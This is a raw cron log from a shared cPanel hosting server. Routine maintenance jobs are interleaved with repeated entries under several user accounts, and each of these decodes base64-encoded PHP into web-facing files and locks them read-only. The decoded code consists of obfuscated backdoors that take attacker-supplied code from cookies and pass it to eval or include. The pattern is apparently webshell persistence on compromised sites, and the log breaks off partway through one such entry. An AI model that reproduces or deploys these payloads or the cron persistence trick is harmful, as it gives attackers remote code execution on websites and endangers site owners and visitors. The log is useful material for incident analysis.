Mar  2 06:19:01 medusa CROND[17348]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:19:01 medusa CROND[17350]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:19:01 medusa CROND[17358]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:20:01 medusa CROND[2266]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 06:20:01 medusa CROND[2267]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 06:20:01 medusa CROND[2268]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 06:20:01 medusa CROND[2460]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 06:20:01 medusa CROND[2569]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 06:20:01 medusa CROND[2572]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:20:01 medusa CROND[2571]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:20:01 medusa CROND[2573]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:20:01 medusa CROND[2575]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 06:20:01 medusa CROND[2576]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 06:20:01 medusa CROND[2584]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:20:01 medusa CROND[2570]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 06:20:01 medusa CROND[2588]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:20:01 medusa CROND[2587]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 06:20:01 medusa CROND[2593]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:20:01 medusa CROND[2595]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:20:01 medusa CROND[2592]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 06:20:01 medusa CROND[2596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 06:20:01 medusa CROND[2582]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 06:20:01 medusa CROND[2589]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 06:20:01 medusa CROND[2602]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:20:01 medusa CROND[2597]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 06:20:01 medusa CROND[2577]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 06:20:01 medusa CROND[2609]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:20:01 medusa CROND[2613]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 06:20:01 medusa CROND[2619]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 06:20:01 medusa CROND[2605]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 06:20:01 medusa CROND[2607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:20:01 medusa CROND[2574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:20:01 medusa CROND[2614]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:21:01 medusa CROND[17067]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:21:01 medusa CROND[17070]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:21:01 medusa CROND[17071]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:21:01 medusa CROND[17072]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:21:01 medusa CROND[17074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:21:01 medusa CROND[17068]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 06:21:01 medusa CROND[17075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:21:01 medusa CROND[17108]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1